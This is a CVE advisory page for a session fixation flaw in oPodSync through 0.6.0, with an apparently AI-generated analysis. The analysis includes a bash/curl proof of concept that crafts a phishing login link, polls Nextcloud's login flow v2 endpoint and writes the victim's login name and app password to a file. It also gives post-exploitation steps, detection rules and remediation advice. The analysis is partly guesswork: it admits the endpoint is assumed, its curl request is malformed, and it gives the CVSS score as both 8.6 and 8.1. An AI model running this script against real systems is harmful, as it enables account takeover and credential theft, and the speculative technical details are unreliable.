CVE Professor
/
All CVEs
CVE-2026-141330

CVE-2026-141330 — Kd2org OPodSync (0.6.0) — CWE-384

HIGH CVSS 8.6 NVD

oPodSync through 0.6.0 contains a session fixation vulnerability that allows unauthenticated attackers to hijack sessions because GPodder::startSession() accepts an attacker-supplied token passed to session_id() without regeneration after login. Attackers can send victims a login.php link with a chosen token, then poll the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password.

oPodSync through 0.6.0 contains a session fixation vulnerability that allows unauthenticated attackers to hijack sessions because GPodder::startSession() accepts an attacker-supplied token passed to session_id() without regeneration after login. Attackers can send victims a login.php link with a chosen token, then poll the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-141330 is a Session Fixation vulnerability (CWE-384) in oPodSync (a Nextcloud app for podcast synchronization) versions through 0.6.0.

Technical Flaw Analysis

The core issue lies in the GPodder::startSession() function. In a secure implementation, when a user successfully authenticates, the server must regenerate the session ID to prevent an attacker from pre-defining a session and having the victim log into it.

However, in oPodSync ≤ 0.6.0:
1. The application accepts a user-supplied token via the session_id() parameter.
2. It calls GPodder::startSession() with this attacker-controlled token.
3. Crucially, it does NOT regenerate the session ID after the login event.

This allows an unauthenticated attacker to:
1. Create a session with a known ID (e.g., ATTACKER_TOKEN).
2. Trick a victim into visiting a link that initializes this session (e.g., login.php?session_id=ATTACKER_TOKEN).
3. When the victim logs in, the session ID remains ATTACKER_TOKEN.
4. The attacker, who already possesses ATTACKER_TOKEN, now has a valid, authenticated session for the victim.

CVSS Vector Breakdown

  • AV:N / AC:L / PR:N / UI:R: Network-based, low complexity, no privileges required, but User Interaction is Required (victim must click a link and log in).
  • C:H / I:H / A:N: High Confidentiality and Integrity impact. The attacker gains full access to the victim's Nextcloud account (files, calendars, contacts, etc.) and can modify data, but does not directly impact availability (no DoS).

  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Target Identification: The attacker identifies a Nextcloud instance with the oPodSync app installed.
  • Version Check:
  • * Check the app version via the Nextcloud App Store API or by inspecting the appinfo/info.xml file if accessible (rarely public). * Alternatively, attempt to access oPodSync-specific endpoints (e.g., /index.php/apps/opodsync/...) to confirm presence. * Since the CVE affects "through 0.6.0," any version ≤ 0.6.0 is vulnerable.

    2. Exploitation

    The attacker needs to: 1. Generate a random session token (e.g., SESS_FIX_12345). 2. Craft a malicious URL that forces the Nextcloud login flow to use this token. 3. Send this URL to the victim (via email, chat, etc.). 4. Poll the Nextcloud login flow v2 endpoint to detect when the victim logs in and extract their credentials.

    Illustrative PoC (Bash + curl)

    Note: The exact endpoint for oPodSync's session initiation may vary. The following is an illustrative example based on the CVE description.
    #!/bin/bash
    
    # Step 1: Define the fixed session token
    FIXED_TOKEN="ATTACKER_SESSION_$(openssl rand -hex 16)"
    NEXTCLOUD_URL="https://victim-nextcloud.example.com"
    
    echo "[*] Attacker Session Token: $FIXED_TOKEN"
    
    # Step 2: Craft the malicious login URL
    # The CVE states: "send victims a login.php link with a chosen token"
    # This implies the oPodSync app or Nextcloud's login flow accepts a session_id parameter.
    MALICIOUS_URL="${NEXTCLOUD_URL}/index.php/login.php?session_id=${FIXED_TOKEN}"
    
    echo "[*] Malicious URL: $MALICIOUS_URL"
    echo "[*] Send this URL to the victim via email/chat."
    
    # Step 3: Poll the Nextcloud Login Flow v2 endpoint
    # Nextcloud's login flow v2 allows unauthenticated users to check if a specific
    # session/token is now authenticated and retrieve user info.
    # Reference: https://docs.nextcloud.com/server/latest/admin_manual/configuration_user/login_flow_v2.html
    
    echo "[*] Polling Nextcloud Login Flow v2 endpoint..."
    
    while true; do
        # The login flow v2 endpoint typically requires a 'token' parameter
        # which corresponds to the session ID or a login token.
        # In this context, we assume the session_id is used as the token.
        
        RESPONSE=$(curl -s -X GET \
            "${NEXTCLOUD_URL}/index.php/login/v2" \
            -H "Accept: application/json" \
            -d "token=${FIXED_TOKEN}" \
            --data-urlencode "token=${FIXED_TOKEN}" \
            -w "\n%{http_code}")
    
        HTTP_CODE=$(echo "$RESPONSE" | tail -n1)
        BODY=$(echo "$RESPONSE" | head -n -1)
    
        # Check if the session is now authenticated (HTTP 200 with user data)
        if [[ "$HTTP_CODE" == "200" ]] && echo "$BODY" | grep -q "loginName"; then
            echo "[+] SUCCESS: Victim has logged in!"
            echo "[+] Response: $BODY"
            
            # Extract login name and app password if present
            LOGIN_NAME=$(echo "$BODY" | jq -r '.loginName')
            APP_PASSWORD=$(echo "$BODY" | jq -r '.appPassword')
            
            echo "[+] Victim Login Name: $LOGIN_NAME"
            echo "[+] Victim App Password: $APP_PASSWORD"
            
            # Save credentials
            echo "$LOGIN_NAME:$APP_PASSWORD" > victim_credentials.txt
            break
        else
            echo "[-] Not yet authenticated. Retrying in 5s..."
            sleep 5
        fi
    done

    Key Technical Note:
    The CVE explicitly mentions polling the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password. This is a critical detail. Nextcloud's login flow v2 is designed for device pairing and can return sensitive user data if the session is valid. The attacker does not need to brute-force the password; they simply wait for the victim to authenticate in the fixed session.

    3. Post-Exploitation

    Once the attacker obtains the victim's login name and app password: 1. Account Takeover: The attacker can log in directly to the victim's Nextcloud account using the stolen credentials. 2. Data Exfiltration: Access all files, calendars, contacts, and notes stored in Nextcloud. 3. Persistence: The attacker can create additional app passwords or API tokens to maintain access even if the victim changes their password (if the app password remains valid). 4. Lateral Movement: If the victim has access to other services via Nextcloud integrations (e.g., SSO, external storage), the attacker may leverage those.

    🌍 Real World Impact

    Confidentiality (High)

  • Full Account Access: The attacker gains complete read access to the victim's Nextcloud instance.
  • Data Theft: Sensitive documents, personal files, business data, and communication logs can be exfiltrated.
  • Credential Harvesting: The "persistent app password" is a long-lived credential that can be used to access the API without re-authentication.
  • Integrity (High)

  • Data Modification: The attacker can modify, delete, or replace files in the victim's account.
  • Malware Injection: The attacker can upload malicious files to the victim's Nextcloud, which may be synced to other devices.
  • Account Compromise: The attacker can change the victim's password, email, or security settings to lock out the legitimate user.
  • Availability (None)

  • The vulnerability does not directly cause denial of service. However, if the attacker deletes critical files or locks the account, it could indirectly impact availability for the victim.
  • Practical Consequences

  • For Individuals: Privacy breach, identity theft, financial fraud.
  • For Enterprises: Data leakage, IP theft, compliance violations (GDPR, HIPAA), and potential ransomware attacks if the attacker uses the compromised account to encrypt files.

  • 🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: oPodSync ≤ 0.6.0
  • Action: Upgrade to the latest version of oPodSync that addresses this vulnerability. Check the Nextcloud App Store for the patched release.
  • Note: If no patched version is available, consider disabling the oPodSync app until a fix is released.
  • 2. Workarounds

  • Disable oPodSync: If upgrading is not immediately possible, disable the oPodSync app via the Nextcloud Admin panel.
  • Restrict Access: Limit access to the Nextcloud instance to trusted IP ranges if feasible.
  • Force Session Regeneration: While not a direct fix for oPodSync, ensure that Nextcloud's core session management is configured to regenerate session IDs on privilege level changes (though this may not fully mitigate if the app bypasses core checks).
  • 3. Detection (IoCs)

  • Web Server Logs: Look for requests to login.php with a session_id parameter that matches a known attacker pattern (e.g., long random hex strings).
  • Nextcloud Logs: Monitor for multiple failed login attempts followed by a successful login from an unusual IP address.
  • API Access: Monitor for unusual API calls using app passwords, especially from new devices or IP addresses.
  • File Access: Alert on bulk file downloads or deletions from a user's account.
  • 4. WAF/ModSecurity Rule (Illustrative)

    Note: This rule is illustrative and may need tuning to avoid false positives.
    # ModSecurity Rule to detect potential session fixation attempts
    # Look for login.php requests with a session_id parameter
    SecRule REQUEST_URI "@rx /login\.php" \
        "id:100001,phase:1,deny,status:403,msg:'Potential Session Fixation Attempt',log,auditlog"
    
    # More specific: Look for session_id parameter in login requests
    SecRule ARGS:session_id "@rx ^[a-f0-9]{32,}$" \
        "id:100002,phase:1,deny,status:403,msg:'Suspicious Session ID in Login Request',log,auditlog"

    ⚠️ Urgency

  • CVSS Score: 8.1 (HIGH)
  • CISA KEV: No (Not currently listed as Known Exploited)
  • Exploit Complexity: Low (requires user interaction, but no advanced skills)
  • Priority: HIGH

Recommended Action

1. Immediate: Identify all Nextcloud instances with oPodSync installed. 2. Within 24-48 Hours: Upgrade oPodSync to a patched version or disable the app. 3. Ongoing: Monitor for suspicious login activity and enforce strong password policies.

Why High Priority?
Although user interaction is required, the impact is severe (full account takeover). Attackers can easily distribute malicious links via phishing emails, making this a realistic threat for organizations using Nextcloud for sensitive data. The availability of a simple polling mechanism for credential theft lowers the barrier for exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
8.6 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-384
Affected Products (1)
kd2org:oPodSync (0.6.0)
References & Advisories (3)
Related CVEs
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
9.2
CVE-2026-144598
Homebox 0.22.0-rc.2 through 0.27.1 contains an authentication bypass vulnerability in UserService.LoginOIDC th
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.1
CVE-2026-144956
Hoverfly before 1.12.17 contains an improper certificate validation vulnerability in GetHttpClient in core/htt
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac